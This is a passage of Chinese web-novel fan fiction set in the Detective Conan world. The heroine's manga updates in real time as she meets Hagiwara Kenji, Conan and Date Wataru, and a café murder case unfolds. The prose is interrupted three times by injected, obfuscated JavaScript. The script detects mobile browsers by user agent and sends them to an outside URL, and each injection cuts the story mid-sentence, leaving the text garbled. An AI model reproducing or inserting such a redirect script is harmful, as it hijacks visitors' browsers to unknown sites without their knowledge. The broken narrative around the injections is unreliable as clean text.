这套漫画书被林见月买回来后就一直摆在书架上,她只在拆封那天翻过几卷。但现在,被林见月握在手里的第一卷,画面戛然而止在工藤新一被敲击后脑勺后昏迷的那一格。 大雨,夜色,昏迷的名侦探。 再往后便是宛若印刷失误般的大段空白,像被人生生剜去后面的故事。 “见月,你还好吗?”哥哥试探出声,带着一丝讨好和担忧。 “是不是在东京受欺负了?我这两周有表演脱不开身,我给你买张机票,你来我这?” 言语间,漫画书上的故事突然开始延续。空白的页面渗出墨色,水墨画般徐徐展开,无声地续上了她熟悉的剧情——被缩小的名侦探在警察们的惊呼声中缓缓睁开眼。 林见月嘴唇抿成一条直线,带着一丝专注的严肃。 一个大胆的想法开始在她脑海中形成。 “没事的哥哥。”林见月放下书,掀起窗帘一角。窗外骤雨初歇,明月高悬,空气里弥漫着湿润的气息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920451|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我只是突然有点想你了,”她垂眸看向正连绵不断出现新画面的漫画书,“我最近压力好大,又快生理期,一时没忍住。” 哥哥没有相信林见月说的鬼话,他沉默片刻,试探道:“萩原研二是谁?” 他小心翼翼的语气像在对待一件易碎的珍宝:“见月你跟哥哥说实话,是不是这个叫萩原研二的混蛋欺负你了?你别怕,哥哥努努力,也不是不能在日本找到人脉。哥哥帮你找人弄他!” “哥哥,萩原研二是警察,而且是机动队警察,在警视厅里当着小官。”林见月打断他,声音平得没起伏。 电话那头静了几秒,突然炸了:“你喜欢他?他是不是玩弄你感情了?见月你听着,这种狗东西——” “哥哥!” 林见月骤然拔高音量,打断哥哥自以为是的仗义豪言:“不许这么说研二,他人很好,不是那种会玩弄女人感情的渣男。” “……”哥哥再次沉默。 警察,人很好,不会劈腿,但是妹妹明显哭过,说话还带着鼻音。 他了解自家妹妹,不是逼得急了,她根本不会大哭一场然后给他打电话。 几秒过后,哥哥的声音再次传来,小心翼翼地,像踩在薄冰上:“他该不会是…… 殉职了?” “不理你了!” 林见月像只炸毛的猫,不等哥哥说完便先气呼呼挂断电话。 对世界融合后的未知恐惧和担忧转变成河豚般气鼓鼓的愤怒,胸口憋着一股莫名的火。 连续挂了哥哥的两个来电,Line 里塞满他的道歉小作文后,林见月彻底没了脾气。她先是向哥哥道歉,然后又编辑了长长一段解释,手指悬在屏幕上又停住。 如果世界真的融合,其他人关于漫画的记忆全部被清除,她要如何对一个不记得这些事的活人解释正在发生的光怪陆离的事。 她有神经衰弱的问题,熬夜最狠的那段时间,她甚至对光声敏感。她现在要是信誓旦旦地把漫画世界融合的论调告诉哥哥,翌日清晨他可能就会刷新在她门口,揪着她去看精神科医生。 林见月思考一瞬,决定撒个小谎:『嗯,恋爱了,但今天大吵了一架。』 管他呢,先把哥哥糊弄过去再说。 除去这个理由,她一时半会也想不出其他更好的能解释她今天情绪和刚才护犊子行为的借口。 收到林见月消息的男人像突然睡着般,诡异地安静下去。 林见月没有管手机大洋彼岸另一端突然陷入死寂的哥哥,转而翻看起漫画书。 故事里,变小的名侦探淋着又下起来的大雨,一路狂奔至工藤大宅外,正和被危险试验从自家院子里轰飞出去的阿笠博士争吵。 林见月往包里塞了一把折叠小刀和微型手电筒,披上外套站到房门前。她把手搭在门把上,连续做了几个深呼吸,随即目光坚毅,推门走了出去。 逃避没有用。 拿不到多摩的毕业证,她哪也不去。 她要去找工藤新一,亲自验证心中的猜想。 走廊的明黄色灯光铺满她全身,晕开温暖的色泽。沉寂许久的哥哥终于重新开机,Line 消息像炸开一样跳出来。 『不行!!』 『日本男人没一个好东西!!』 『我的宝贝妹妹绝不能和日本男人谈恋爱!!』 林见月看着屏幕,忽然低低地笑了一声,径直走进夜色里。 11.独家 路灯倒映在车窗玻璃上,被水雾切割成细长的亮纹。街景向后疾驰,混着各色灯光晕成模糊的画面。 林见月低着头,指尖在谷歌地图上快速滑动。东京市中心靠东南角的位置,「米花街2町目21号」几个字清晰地嵌在地图里,这也是她此行的目的地。 “到了。” 刹车声响起,司机的声音混着雨刮器的摆动声传来, 林见月抬眼看向计价器,尾数多得惊人的数字让她眼皮跳了两下。付完钱下车,她突然理解了没赶上末班车而崩溃大哭的日本上班族。 天空飘着细密的冷雨,打在伞面上沙沙响。米花街 22 号别墅的门牌号被雨水泡得发胀,「工藤」二字的油漆剥落处,透出底下血一样的棕红。 隔壁阿笠博士家的后院墙体被炸开一个大洞,碎石块凌乱地堆在路上堵住车辆来往的唯一通道。 很难想象阿笠博士是如何在这样的冲击波中毫发无损的存活下来的。 叮咚。 林见月按下工藤家的门铃。 她当然知道工藤家没有人,但如果她直奔阿笠博士家找人,只会让已经变成小孩的大侦探起疑,将她拉进需要十级戒备的黑名单。 林见月用脖子夹住伞,腾出手第二次按下门铃,另一只手翻开被她带出来的第一卷漫画书。 书页上,听到门铃声的江户川柯南和阿笠博士露出惊惧的神色,小声讨论到底是谁会在大半夜登门拜访。 “新一,你要小心,说不定是喂你毒药的人。”阿笠博士弯腰凑到柯南耳边。 “嗯,他们要是返回现场,没找到我的尸体,很可能会找上门来。”江户川柯南眉心皱成个川字。 “怎么办啊新一?” “现在不能出去,弄不好会和那些人正面撞上。” 一无所知的毛利兰却转身要去开门,试图查看是谁按响了工藤家的门铃,却被柯南一把拽住。 林见月看着漫画里柯南和阿笠博士慌乱的模样,嘴角勾起抹极淡的讥诮。她对萩原研二以外的角色没有太多喜恶,只是单纯的不喜欢青山刚昌对剧情的处理方式。 《名柯》曾经惊艳过林见月,她能从早期剧情里看到青山刚昌对角色的爱。但或许是赚够了钱,又可能是被逼着不停连载,力不从心,后来的《名柯》处处充斥着工具人的味道。 荒谬的爱情。 荒诞的剧情。 千篇一律的套路。 虽然这其中也有被出版社逼着把短篇发展成和读者比寿命的长篇的责任。但为了流量和话题,青山刚昌什么事都做得出来。 指望一个60多岁的日本老男人画爱情,不如撕了原作自己脑补。 青年间的爱情尚且朝气蓬勃,但发生在警视厅里的成年人间的爱情故事却处处充斥着腐烂的气息。 白鸟任三郎就是最好的例子。 早期对佐藤穷追猛打,疯狂阻碍高木追妻,后来又对小林老师情根深种。这一切的根源仅仅是小学时曾有过一个女孩送了他一杯套着樱花环的可乐,并告诉他:樱花是勇气的象征。 他把幼年时遇到的女孩认成谁,就疯狂爱谁。 很可笑。 让林见月忍不住想起大陆地区曾流行过的霸总文。第一章发生一夜情,霸总留下信物。第二章信物被恶毒女配夺走,霸总靠信物错认女配,帮着女配欺压女主。 然后又在某一天幡然醒悟发现自己认错人,于是追妻火葬场,为女主框框撞大墙,对女配翻脸不认人。 每次看到这样的剧情,林见月就想笑。 她很想问问,男主爱的到底是活生生、有血有肉的人,还是容纳了他那二两肉的性|器官的主人。 白鸟是合家欢少年漫的角色,必须正面向上。于是少年时的美好初遇代替了一|夜|情,套在可乐杯上的樱花环和一句鼓励代替了信物。 白鸟比霸总们优秀克制,但他的爱情在青山刚昌的操控下变得可笑。 警视厅里多的是白鸟这样的人。 林见月垂眸,倏地想起萩原研二。 恐惧退潮后,一种类似喜极而泣的感情漫上来。她垂下视线,睫毛颤得像被风吹动的蝶翼。 萩原研二还活着。 英勇的警察故事得以延续,他会有新的人生。 也许会遇到新的人,因某个瞬间对某人一见钟情;也许会有个 “天降”,带着过去的羁绊让他神魂颠倒——就像青山笔下的大多数警察。 左侧突然亮起一束车灯,林见月合上书,转身迎向那片光。 车灯刺得她眯起眼,待眼睛适应亮度,车子的主人也正好停稳车,熄灯从驾驶座走下来。 萩原研二。 他早早看到林见月,但视线对撞的瞬间,他下颚线猛地绷紧,喉结在颈间滚了滚,随即蹙眉移开目光。 萩原研二已经换掉被大雨淋湿的黑西装,没吹干的长发垂在额前,发梢还滴着水。他假装没看见她,径直走向阿笠博士家,按下门铃。 屋子里似乎经历了短暂的兵荒马乱,过了好几秒,才有人才姗姗来迟地接通门铃电话:“你好,这么晚了有什么事?” 阿笠博士的声音从对讲器传出来,带着刻意压平的紧张。 萩原研二平稳得听不出情绪:“你好,我是警察,接到报警电话称你这边发生了爆|炸。能开门吗,我需要和你面谈。” “啊啊,马上来!” 背景里隐约飘来毛利兰喊柯南回家的声音。 没多会,阿笠博士推开院门,身后跟着牵着柯南的毛利兰。 看到林见月时,毛利兰眼睛一亮,笑着迎上来:“刚才是你找新一吗? 毛利兰毫无保留地向林见月展现出所有善意,甚至没有诧异为何会有陌生女性深夜出现在工藤家门口。 江户川柯南被毛利兰牵着,仰起的脸上,镜片后的眼睛在林见月身上来回扫,像在评估危险系数。 林见月点头:“我遇到了麻烦,想委托工藤新一帮忙调查。” “很棘手吗,要不要报警?”毛利兰立刻露出担忧的神色,“我认识刑事部的目暮警官,如果你有需要,我可以帮你联系他” “不用,只是一些生活上的事,还不至于麻烦警察。但……”林见月顿住,垂下眸子。 她没想好要怎么圆谎,但没关系,毛利兰是个过分温柔的好女孩,她必然不会追问。 正如林见月所想,毛利兰没再问,反而掏出手机:“我叫毛利兰,是新一的青梅竹马。他要是回来了,我会第一时间联络你的。而且我爸爸也是侦探,你有需要可以找我爸爸。” “要和我交换电话号码吗?” “谢谢,那就麻烦你了。” 林见月微笑着在毛利兰的手机里存入自己的电话,把手机递还回去时,正好对上萩原研二的视线。 他刚和阿笠博士说完话,正从毛利兰身后走过,要去看后院的爆炸现场。 视线只交汇了一瞬,他紫眸里沉着深不见底的情绪,却让林见月心头一震。她慌忙垂眸,他也恰好移开目光。 随即擦肩而过。 - 交换完手机号,林见月和毛利兰道别,各自踏上归家的路。 夜深了,地铁已经停运,路上也没看到可以打出租车的地方。 好在哥哥租的公寓也在靠近市中心的地方,步行也能到,只是会耗光林见月所有力气。 干净的街道空荡荡的,只偶尔响起风吹过巷口的呜咽声,昏暗的路灯只勉强够林见月看清脚下的路。 林见月正琢磨着怎么跟哥哥开口要买车钱,前方突然传来脚步声,由远及近,沉得像踩在心脏上。 林见月抬眸,瞳孔猛地一缩,鸡皮疙瘩顺着脊椎爬满全身。 琴酒和伏特加。 两人穿着融进夜色的黑,琴酒嘴边的烟点红得像燃着的引信,正低声说着什么。 林见月暗骂一声,稍作思考,攥紧包带避开视线,像个普通的被迫夜行的女性,默默将行进路线改成一条斜线,紧挨着街边店面,和琴酒拉开擦肩而过的距离。 琴酒比林见月想象的还要高,起码两米。影子黑压压的逼过来,叫人喘不过气来。 琴酒从不在意无关的人,就像他从来不记死在手里的人的名字。他和伏特加在和林见月擦肩时,甚至没有分给她半个视线。 但林见月刚才要是故作冷静,不做躲闪地从他旁边走过去,他反而可能停下脚步,回头给林见月一记手刀。 林见月屏住呼吸,直到两人走远,才敢大口喘气。 接下来的路没再遇到人,剧烈的情绪波动耗尽了力气,林见月叹了口气,疲惫从脚趾一路爬到太阳穴。 林见月很少深夜出门,但她平日里看动画,毛利兰总是能很轻易地在半夜,随时随地拦下出租车。 轮到她打车,东京的出租车就像一群被捕食者惊扰的河虾,全躲在石块下的阴影里,不见踪影。 一束车灯再次出现在身后。 林见月满怀期待回眸,身侧正好响起刹车声。 车窗降下,露出萩原研二笑意盈盈的脸。他冲林见月眨了眨眼:“上车吗?我送你回去。” 他笑得坦荡,仿佛刚才在工藤家门前对视的匆匆一眼是林见月的错觉。 林见月瞥了眼手里的步行导航,咽回拒绝的话,开门上车,坐进副驾驶。 从小所受的家教不准她坐进后座,做出把萩原研二当滴滴司机的事。 林见月低头系安全带,没注意到萩原研二脸上一闪而过的惊喜的表情。男人眼底亮起无数星光,身体也猛地绷紧。 林见月抬头时,被青山刚昌亲自点名称赞为「全作里车技最好的人」的男人已经僵硬地把两只手都搭在方向盘上,规矩得像个参加驾照考试的的初学者。 报过地址,白色四座私家车逆着月色缓缓驶向东京铁塔的方向。 林见月就住在东京铁塔附近,是能从客厅和卧室的落地窗看到铁塔的价格昂贵的中高公寓。 她原本只打算租住一些交通便利的普通公寓,但哥哥大喊着“日本这种排斥华人的地方,到处都是变态”,擅自替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他从钱包里抽出张名片递过去:“虽然不想承认,但你要是遇到麻烦,直接打给我会比打给警察或者侦探更有用。” 林见月接过名片,低声:“知道了。”随即下车。 下车时,她没回头,自然也没看到萩原眼里一闪而过的惊喜,和他攥紧方向盘的样子。 萩原研二坐在车上,目光牢牢钉在林见月背上,贪婪地目送她的身影消失在公寓大楼。 他倏地有些羡慕毛利兰,能直接和林见月交换手机号。 萩原研二也想这么做,他甚至为此准备了几套不同的说辞,就连被拒绝后的说服方案都有。 但他却在开口喊出她的名字,对上她红晕未消的眼睛时,退缩了。 和名片一起递出去的是他自愿放弃的主动权。 他自愿成为林见月的备选项,如果她真的不联系他,他就真的如他所愿,安静老实地待在角落阴影里。暂时消失,或者永远不见 这个念头刚冒出来,就被心脏的抽痛狠狠攥住。 萩原研二双手握住方向盘,额头抵在手背上,指节因用力而泛白。后悔像潮水般漫上来,几乎要将他淹没。 是他擅作主张导致的这一切。 何必呢? 只在梦里相见不好吗? 至少那样,他们还能像从前一样亲密,相互耳语,分享每日的所见所闻,做恋人间亲密的事。 萩原研二甚至阴暗地想,哪怕她在现实里遇到了想嫁的人,只要她睡着,梦里的时间还属于他。 但随即萩原研二惶恐地瞪大眼睛,为自己的想法所不齿。 萩原研二笑了笑,无奈又自暴自弃:“搞什么啊萩原研二,你可是警察,居然想去给人当小三。” 可光是想到她挽着别的男人的胳膊走进婚礼殿堂,婚纱曳地,笑容明媚,他的理智就开始寸寸崩塌。 不行。 绝对不行。 他该要她号码的。 怎么可以把主动权交到她手上,万一她弄丢了名片,或者随手一放,又或者真的不找他了呢。 他才不要就此放手。 绝对不要。 叮。 是短信提示音。 萩原研二瞳孔骤缩,慌乱地在口袋里摸索。 屏幕亮起,一个陌生的东京号码跳出来,短信内容只有短短一行: 『抱歉研二,我今天对你说了很过分的话,你可以原谅我吗?』 他直愣愣盯着屏幕,好几秒才反应过来。他仰头靠在座椅里,用胳膊挡住眼睛,笑声从喉咙里滚出来,越来越响。 他立刻拨通松田阵平的电话,语气里的雀跃藏都藏不住。 “恭喜啊。” 电话那头的幼驯染听完,尾调也扬了起来。 挂了电话,萩原研二发动车子时,嘴角的笑意还没下去。月光透过车窗洒进来,照亮他眼底的光,落难星辰。 楼上,林见月站在卧室窗帘后面,掀起窗帘一角往下看。 她住在16楼,从这个距离往下看,萩原研二的车子小得像白色塑料模型。 直到白色私家车重新亮起车灯,消失在街道角,她才垂下帘子,扑倒在床上。 她把脸埋在枕头里,睡着般没了动静。 好半天,才从枕头的缝隙里挤出一声带着鼻音的喃喃自语:“笨蛋。” 太好了。 你还活着。 12.独家 米花街一家不起眼的咖啡厅。 林见月趴在靠窗的桌子上,笔尖在平板上飞快滑动。PS的图层栏里堆着十几个未合并的色块和线稿,导师催了三天的插画稿,必须在今天内完成。 “您的咖啡。” 冒着热气的两杯浓缩咖啡被端上桌,林见月抬手揉了揉发酸的太阳穴,停下画笔。 她从包里抽出漫画书,想趁着品鉴咖啡的空档,忙里偷闲看看柯南那边又发生了什么。画面翻到最新一页,江户川柯南一行人被灼灼烈日晒得不成人形,毛利小五郎更是快要瘪成鱼干。 下一瞬,毛利小五郎亮起眼睛,指着前方一家咖啡店:“我们去里面坐坐吧!” “……” 熟悉的咖啡店店面让林见月陷入沉默,她缓缓放下漫画书,抬眼刚好撞见毛利小五郎一行人推开玻璃门走进来。 风铃叮当作响,毛利小五郎只留下一道残影,直奔前台。身后则是不急不缓的毛利兰,以及被兰牵着的江户川柯南。 林见月盯着熟悉的三人配置,心里咯噔一下。 她昨晚研究过发生异变的柯南漫画,它虽说会实时记录柯南身边正在发生的事,但会自动省略一些它认为没有记录意义的事。 会被漫画重点记录在书本里,说明这里即将发生重要的剧情。 指尖轻轻敲击桌面,林见月杵着下巴正思考要不要留下看戏。她和人约了在这见面,但一百米外还有一家咖啡店,现在更改位置还来得及。 林见月正思索着,手机却“叮咚”响了一声——是前辈发来的消息:『我到了,就在马路对面。』 林见月垂眸,顺势收了更改见面位置的心思。 放下手机,林见月却不期然撞上一双审视的目光。 江户川柯南被毛利兰牵着,安静地站在前台边,却目不转睛地盯着林见月。他推了推眼镜,过于清亮的眼睛里藏着与年龄不符的审视。 “哟呵,这位小姐长得真漂亮啊!”毛利小五郎的大嗓门打破了咖啡厅的安静,他甩开毛利兰,兴冲冲向林见月走过来,“第一次来吗?我是这里的熟客,要不要我给你推荐几道口碑不错的甜品!” “爸爸!”兰瞬间涨红了脸,慌忙冲过来拽住他的胳膊,用力往后拖,“不要在这里丢人现眼了!” 她转头对林见月鞠躬道歉,脸上带着歉意的红晕:“对不起,我爸爸他……” “没关系。”林见月平静地把包着外壳的漫画书塞进包里。 毛利兰似乎想起什么,眼睛亮了亮:“对了。我今早联系了阿笠博士,他说新一在很远的地方处理棘手的案子,暂时回不来。不过他要是联系我,我一定让他第一时间找你。” 林见月点头应着,眼角的余光却瞥向江户川柯南。注意到她的视线,少年一改严肃姿态,摆出孩童天真无邪的模样,嘿嘿一笑,指着林见月面前的另一杯咖啡:“大姐姐,你在等人吗?” 林见月端起咖啡,直白道:“我不想告诉你。” 就在这时,咖啡厅的门又被推开,一个穿着白衬衫的男人快步走进来,径直冲到林见月桌前:“林见月!这张插画你到底改不改?” 是她的前辈,高桥。 林见月懒懒抬眼:“我画得没问题,你是在故意找茬。” “你懂什么!”高桥提高了音量,引得周围几桌人侧目,“我是前辈还是你是前辈?让你改就改!” “我问过导师了,她说我的画没问题。” 高桥一顿,怒道:“你居然用老师压我!” 争吵声越来越大,隔壁桌突然传来一声嗤笑。染着亮红色卷发的女人用手指敲了敲桌面,阴阳怪气地开口:“高桥先生可真行啊,前阵子还跟我抱怨学妹不懂事,这就又看上新妹妹了?” 林见月循声看去,却注意到红发女人背后的角落里,坐着个穿黑色连帽衫的男人。他只闷头喝着咖啡,指节捏着杯柄,泛出青白,阴沉得吓人。 这场景……太眼熟了。 林见月顿了顿,心里冒出个荒谬的念头——这简直是《名柯》里标准的案件前奏,1个受害人+3个嫌疑人,配置齐全了。 高桥显然被红发女人的话激怒了,脸涨得通红。他端起咖啡猛喝一口,却被滚烫的温度燎了舌头。手一抖,浓稠的咖啡液洒出几滴,落在雪白的衬衣领口。 他狠狠瞪了林见月一眼,转身抓起外套:“谁让你点热咖啡的,这点小事都做不好!我去趟洗手间,你最好想清楚!” 他摔门走进洗手间的瞬间,角落里的黑帽衫男人突然站起身,也跟着走了过去,半分钟后又出来。 红发女人中途也去了一趟洗手间。但二十分钟过去,高桥始终没有回来。 毛利小五郎一行人已经在林见月隔壁桌落座,他看了眼表,撇撇嘴:“搞什么?去洗手间要这么久?” 没人应声。 又等了五分钟,柯南率先意识到不对,从座位上跳下来:“我去看看。” 十来秒后,柯南急匆匆去而复返,一把夺过毛利小五郎的手机。 “柯南你这小鬼!你——” “叔叔!刚才那个叫高桥的人,他死在卫生间了!!” “什么?!”毛利小五郎第一个冲过去,柯南紧随其后。毛利兰则脸色微微发白,担忧地坐在原地没有动。 林见月瞥几人一眼,重新打开平板开始画画。 笔尖在屏幕上滑动,却没什么思路。前辈死了,说没有感触是假的——毕竟是第一次近距离接触死亡,还是前几分钟正和自己说话的人,难免一阵唏嘘。 但更多的,是一种不合时宜的清醒:高桥是导师最器重的弟子,现在他死了,剩下的几个后辈里,她是能力最强的,很可能会因此成为导师新的重点培养对象。 这个念头让她自己都愣了一下,随即又恢复了平静。 “姐姐,你在做什么?”柯南不知什么时候走了回来,仰着头看她,镜片后满是探究。 “画画。” “诶——”柯南夸张地拖长了尾音,“是高桥叔叔刚进来时让你改的那幅画吗,高桥哥哥好过分哦,居然凶姐姐。” “你想说我有杀人动机?” “诶?”柯南露出错愕的表情,似乎没想到林见月会开门见山。 他挠着后脑勺发出一连串无辜的傻笑,随即攥着拳头一副愤愤不平的样子,试图把话题圆回来:“怎么会呢,我只是替姐姐生气!” “说起来,姐姐是因为什么事和高桥叔叔约在这里见面?” 林见月抬眼,看着他故作天真的脸,突然开口:“柯南,你觉得侦探有执法权吗?” 柯南愣了一下:“什、什么?” “我是说,”林见月的语气很轻,却带着认真,“「侦探」的本质说到底就是一群没有任何执法权的普通人,他们甚至不能像律师一样向法庭申请调取个人资料,也不能像警察那样要求公民配合执法。” “我不回答,你又能怎么样呢?” 柯南的表情僵了僵,刚要开口,林见月却突然笑了,伸手揉了揉他的头发:“逗你的。” 警笛声由远及近,很快停在咖啡厅门口。 推门进来的是两个警察,一个人高马大,个头不输琴酒。另一个则留着被太阳暴晒后的黑皮,眼神清澈像个初出茅庐的新手。 伊达航和高木涉。 林见月手里的触控笔顿住,在画布上留下一个不和谐的黑点。 伊达航? 他不是…… 原来他也活下来了吗。 伊达航显然也看到了她,脚步顿了顿,眼里闪过一丝惊讶,随即不动声色地冲她点了点头,转身走向洗手间。高木倒是对林见月没有太多反应,他跟在伊达航身后,边戴白手套边拐进卫生间。 林见月的心跳乱了几拍。伊达航活着,高木也没因为他的殉职被调去其他组。那佐藤美和子呢,高木是否已经结识这位精英女警? 高佐是她最支持的成年组的恋爱,她不想因为自己这只蝴蝶,煽动掉他们的爱情。 她正走神,伊达航已经勘查完现场走出来,眉头紧锁。 他拿出手机,指尖飞快地打着字。 “嫌疑人有三个。”伊达航收起手机,声音沉稳,“这位林见月小姐,和死者高桥是同校后辈,刚才发生过争吵;这位红发女士,声称被高桥骗了感情;还有这位黑帽衫先生,据说是高桥的同期,被他抢过设计成果。” “我现在要检查你们的随身物品。”伊达航扫过三人,他没有因为萩原研二的关系而对她网开一面。 柯南立刻凑了过来,眼睛亮晶晶的,显然对搜包这个环节充满兴趣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945544|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林见月却突然开口:“我可以配合,但只能让这位警官搜。”她抬手指了指伊达航,“其他人,包括小朋友,都不能看。” 柯南的眉头瞬间皱了起来,镜片后的眼睛里满是疑惑。高木也愣了一下:“这……” “听说日本是个非常注重个人隐私的国家,”林见月语气平静,又带着点胁迫,“我想,这样优秀的国家,一定不会强迫我向所有人展示我的私人物品。” 伊达航看了她几秒,点头:“可以。” 他接过林见月的包,和她一起走到咖啡厅角落。 拉开拉链时,伊达航的动作顿了顿。包里除了常见的个人用品,还有一本露出边角的《名柯》漫画,正是今早她带出门的第二卷。 伊达航的表情更微妙了,抬眼瞥了林见月一眼,低声说:“你记得藏好漫画。” 林见月蹲在伊达航身侧,目不转睛地盯着他,低声开口:“警官,你为什么认识我?” 伊达航笑笑:“抱歉忘了自我介绍,我是伊达航,你应该知道我。前两天,零给了我一张你的画像,让我帮忙留意你。” “你们在找我?” “详细的我也不是很清楚,但零说等他有空了会亲自解释。”他顿了顿,补充道,“别担心,东京警察是很可靠的。” 林见月没有反驳「东京警察很可靠」这句话,她杵着下巴稍作思考,重新翻开了漫画书。 画卷里,柯南正拉着高木嘀咕:“高木警官,那个姐姐好奇怪啊,为什么只让伊达警官搜包?是不是藏了什么东西?” 高木挠了挠头:“可能真的有不想让人看的东西吧……” “你这漫画!”伊达航自然也注意到了,他满眼诧异,“居然是实时更新的!” 林见月点头,把漫画往包里塞了塞。走到柯南身边蹲下,视线和他平齐。阳光透过窗户落在她脸上,表情很认真:“柯南,我知道你在想什么哦。” 柯南愣住,脸上的表情也变得空白。 “骗你的。”林见月又笑了,在柯南头顶揉两下,起身回到座位,重新打开平板开始画画。 余光里,江户川柯南的注意力已经从命案转移到她身上,围在她周围探头探脑。 伊达航的效率很高,不到半小时就理清了线索。 她和红发女人的嫌疑被排除,最终锁定是黑帽衫男人因为长期被抢成果,一时冲动下了杀手。 案件解决时,咖啡厅门口传来熟悉的引擎声。林见月抬头望去,白色私家车停在路边,和昨天萩原研二开的那辆一模一样。 “林。” 萩原研二从驾驶座下来时,伊达航也同步向林见月走过来。 他脸上带着温和的笑:“正式介绍一下,我是研二的同期。他们老喜欢喊我班长,你要是不嫌弃,也可以像研二那样喊我班长。” 他呵呵笑着,把胳膊搭在旁边的柜台上:“老早就听说过你了,这么多年总算得以一见。来的时候瞧见你,怕你被命案吓到,特意发短信把研二喊了过来。” 林见月看着他,骤然理清思路。她眨眨眼,表情微妙:“伊达警官,研二是不是没告诉你,我其实从来没有把他当做真正意义上的男朋友。而且昨晚我刚和他大吵一架,还让他滚,不要靠近我。” 伊达航脸上的笑瞬间僵住,像被按了暂停键。 就在这时,咖啡厅的门被推开,萩原研二快步走进来。 看到林见月,他眼睛一亮,径直朝两人走来,语气自然得像碰巧路过:“好巧呀见月,我下班路过,想来买杯咖啡,没想到你也在这里——” 他的话没说完,就注意到伊达航僵硬的表情,以及林见月平静的仿佛看透一切的眼神。 萩原研二的笑容瞬间收敛,试探着看向伊达航:“班长……你该不会把我要来接人的事提前说出去了吧?” 伊达航张了张嘴,没说话,只是默默地转过头,假装看窗外的风景。 林见月看着萩原研二瞬间变得紧张的脸,突然觉得有点好笑。她拎起包,转身朝门口走。 在经过萩原研二时,她脚步稍顿:“外面好热,可以拜托你送我回去吗?” 萩原研二愣了一下,立刻跟了上去,脚步轻快得像踩在棉花上。 路过伊达航身边时,他还不忘压低声音:“谢啦班长。” 13.独家 高桥死后,林见月确实如愿以偿地成为了老师最器重的弟子,但她也付出了相对应的代价——原本应该属于高桥的那部分工作全部积压在了林见月身上。 林见月的老师是个好说话的三十岁出头的女人,她主动从林见月手里分走了一部分工作,但即便如此,又要赶作业,又要交稿的林见月还是忙得一周都没离开过书桌。 这期间,降谷零不知从哪弄来的手机号码,给林见月打过一个电话。 “你好,林见月。我想和你见一面,这事关你的安危。” 对方没有道明身份,但电话接通的一瞬间,林见月便辨认对方独特的嗓音。 她心下了然,开门见山道:“和我推特有关?” “你知道了?” “嗯,今早刚发现。”但她太忙,工作像雪花一样飘下来,连睡个安稳好觉都够呛,根本抽不出时间难过。 “今天方便见一面吗?” “好啊,我们在哪——” 林见月握着手机刚要站起身,电脑屏幕上突然弹来老师的消息:『明天就截稿的那幅画,搞定了吗?』 她盯着PS里只铺了色块的半成品,沉默一瞬,又坐了回去:“安室先生您急吗,要是不急,我们下次再约吧。” “……”电话那头静了静,隐约能听到小狗在房间里跑动的声响。过了会儿,降谷零的声音才传过来,带着点哭笑不得的无奈:“行吧,也不是特别急,那我过两天再联系你。” 听着手机那头迫不及待的忙音,打工皇帝降谷零陷入沉默,他从没想过自己居然会被其他打工皇帝以工作为由给拒绝。 挂了电话,林见月继续改画。直到指针指向数字4,最后一个文件被拖进邮箱发出去,林见月才一头栽倒在床上,直接关机。 再次睁眼时,窗外的白日高照,手机在枕边震个不停。 是宫本由美的短信。 『林,晚上要不要来联谊?』 『这次是友谊向联谊!我喊了刑事部的朋友,超厉害的警花!』 『田中也来……但你放心,我会盯着他的!』 『拜托拜托,求你了,来吧。』 『当面拒绝他让他死心。』 『别担心,我朋友体术超级强,她会保护你的。』 林见月划着屏幕,仿佛能看到宫本由美对着手机鞠躬的样子,她甚至能透过满屏的文字猜出宫本由美曾遭遇了怎样的纠缠。 林见月不懂日本人发消息前要先堆一百字敬语的规矩,也搞不清他们绕来绕去的人情。但她猜得出,宫本由美不好意思强硬拒绝田中的纠结,也不知道她对田中的抵触,只好出此下策,求她出面。 林见月垂眸,思考过后回去一句『好。』 她不想让朋友难做。 更何况当初是她主动提出参加联谊,宫本由美好心接纳了她。没道理把烂摊子甩给宫本由美。 手机里还有条未读消息,来自萩原研二,发在三小时前: 『被我救助过的一个被绑架的孩子,她父母送了我两张电影票,时间是今晚,要一起去看吗?』 又是今晚? 林见月疲惫地揉着太阳穴,选择拒绝:『不行,我有其他事。』 刚放下手机,那边就秒回了张表情包 是只耷拉着耳朵、看上去像受了委屈的边牧,头顶被萩原研二用拙劣的画技添了几缕三七分刘海,像极了他本人。 林见月盯着手机上又萌又委屈的研二特制狗狗表情包一阵沉默,好半天才憋出一句:“幼稚。” - 联谊的场地在间西式餐厅,水晶灯吊得很低,明显的位置却缺了几颗水晶吊坠,一看就知疏于保养。 西南角的位置摆放着一台有些旧的白色三角钢琴。 林见月刚坐下就看到了个意料之外的人——高木涉。 男人穿着笔挺的西装,正和身边的女警说话,耳朵红扑扑的。那女警留着利落的短发,眉眼明亮,应该就是佐藤美和子。 林见月暗自松了口气。 她先前还担心自己的出现会煽动掉高木涉和佐藤美和子之间的恋情,现在看来,冥冥之中一切皆有定数。 “天呢林,你终于来了,你都不知道田中有多烦人,早知道我上次联谊就不喊他了。”宫本由美从洗手间出现,用已经烘干的手紧紧握住林见月。 